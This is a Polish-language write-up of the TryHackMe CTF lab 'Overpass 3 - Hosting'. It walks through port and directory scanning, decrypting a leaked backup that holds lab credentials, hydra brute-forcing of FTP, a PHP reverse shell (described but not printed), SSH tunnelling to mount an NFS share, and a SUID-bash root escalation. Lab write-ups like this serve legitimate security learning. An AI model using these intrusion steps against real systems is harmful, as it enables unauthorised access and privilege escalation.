Overpass 3 - Hosting
Rozwiązanie pokoju Overpass 3 - Hosting z platformy tryhackme.com.
Podstawowe skanowanie:
nmap scan
1
2
3
4
5
6
7
8
9
10
11
12
└─$ nmap 10.10.201.73
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-18 09:15 EST
Nmap scan report for 10.10.201.73
Host is up (0.048s latency).
Not shown: 986 filtered tcp ports (no-response), 11 filtered tcp ports (host-unreach)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 7.57 seconds
gobuster scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
└─$ gobuster dir -u 10.10.201.73 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.201.73
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 218]
/.hta (Status: 403) [Size: 213]
/.htpasswd (Status: 403) [Size: 218]
/backups (Status: 301) [Size: 236] [--> http://10.10.201.73/backups/]
/cgi-bin/ (Status: 403) [Size: 217]
/index.html (Status: 200) [Size: 1770]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
Skan narzędziem NMAP wskazał działajace serwisy na serwerze - fpt, ssh i serwer http na którym postawiona jest statyczna strona. W jej kodzie źródłowym nie ma nic specjalnie interesującego, nie licząc tego komentarza: <!-- 0.99999% is 5 nines, right? -->, na tę chwilę nie wiem co on może znaczyć. Skan narzędziem gobuster wskazał dostępne katalogi, interesujący jest /backups, na tej stronie udostępnione jest archiwum backup.zip:
Po pobraniu i rozpakowaniu tego archiwum widać, że w środku znajduje się klucz prywatny i zaszyfrowany dokument:
Prawdopodobnie dokument został zaszyfrowany gpg, mamy klucz publiczny więc można go odszyfrować:
1
2
gpg --import priv.key
gpg --output customer.xlsx --decrypt CustomerDetails.xlsx.gpg
po odszyfrowaniu otworzyłem plik, jego zawartość:
1
2
3
4
5
| Customer Name | Username | Password | Credit card number | CVC |
| --------------- | -------------- | ----------------- | ------------------- | --- |
| Par. A. Doxx | paradox | ShibesAreGreat123 | 4111 1111 4555 1142 | 432 |
| 0day Montgomery | 0day | OllieIsTheBestDog | 5555 3412 4444 1115 | 642 |
| Muir Land | muirlandoracle | A11D0gsAreAw3s0me | 5103 2219 1119 9245 | 737 |
mamy więc listę użytkowników i ich haseł, warto spróbować czy któraś z kombinacji zadziała z ssh lub ftp, przygotowałem sobie listę użytkowników i haseł:
- użytkownicy:
1
2
3
paradox
0day
muirlandoracle
- hasła:
1
2
3
ShibesAreGreat123
OllieIsTheBestDog
A11D0gsAreAw3s0me
i stworzyłem odpowiednie pliki, następnie poleceniem:
1
hydra -L usernames -P pass ftp://10.10.195.39
sprawdziłem czy któraś para zadziała dla ftp:
okazało się, że tak. Dla ssh nie znaleziono nic. Po połączeniu się przez ftp nie znalazłem nic ciekawego:
jednak co warto zauważyć wcześniej pobierane dane były z folderu backup, więc z przeglądarki jest dostęp do tego folderu - co znaczy, że jeśli wrzucimy tam jakiś php reverse shell i ustawimy nc, wejdziemy na stronę to otrzymamy połączenie. I połączenie zostało nawiązane:
po połączeniu zadbałem o jakiś użyteczny shell:
1
python -c "import pty;pty.spawn('/bin/bash')"
a następnie poszukałem flagi:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bash-4.4$ find / 2>/dev/null | grep flag
find / 2>/dev/null | grep flag
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/sys/devices/pnp0/00:06/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/vif-0/net/eth0/flags
/sys/module/scsi_mod/parameters/default_dev_flags
/usr/bin/pflags
/usr/sbin/grub2-set-bootflag
/usr/share/man/man1/grub2-set-bootflag.1.gz
/usr/share/httpd/web.flag
bash-4.4$
flaga znajduje się w ostatnim pliku na liście. Zapoznając się z systemem zauważyłem możliwość stworzenia nowych kluczy ssh i zalogowanie się przez ssh - będzie przyjemniej pracować. Po połączeniu się przez ssh aby przyspieszyć pracę wykorzystałem LinEnum.sh. Analizując wyniki natknąłem się na: 
dzięki temu możliwe jest podmontowanie tego folderu na maszynie atakującej, należy tylko skorzystać z tunelowania przez ssh: 
1
ssh paradox@10.10.127.57 -i ssh_key -L 2049:localhost:2049
i w drugiej karcie:
1
sudo mount -t nfs localhost:/ remote
po zajrzeniu do podmontowanego zasobu można znaleźć flagę. Interesujący jest również folder .ssh, wewnątrz niego znalazłem klucze ssh, skopiowałem go i zalogowałem się do maszyny. Następnie szukałem dalej jakiegoś błędu, natknąłem się na tę stronę. Po wykonaniu tych kroków mogłem odczytać ostatnią flagę. Podczas tego wystąpił pewien problem - moja binarka nie zadziałała. Pomyślałem, że najłatwiej będzie użyć tej która znajduje się na atakowanej maszynie. Korzystając z połączenia ssh/ftp skopiowałem plik /bin/bash do folderu domowego, a następnie z drugiej karty jako użytkownik root ponownie skopiowałem ten plik do innej lokalizacji. Usunąłem oryginalny plik i do tej lokalizacji skopiowałem wcześniej skopiowany plik po czym nadałem mu odpowiednie uprawnienia. Dzięki temu na zdalnej maszynie osiągnąłem uprawnienia root.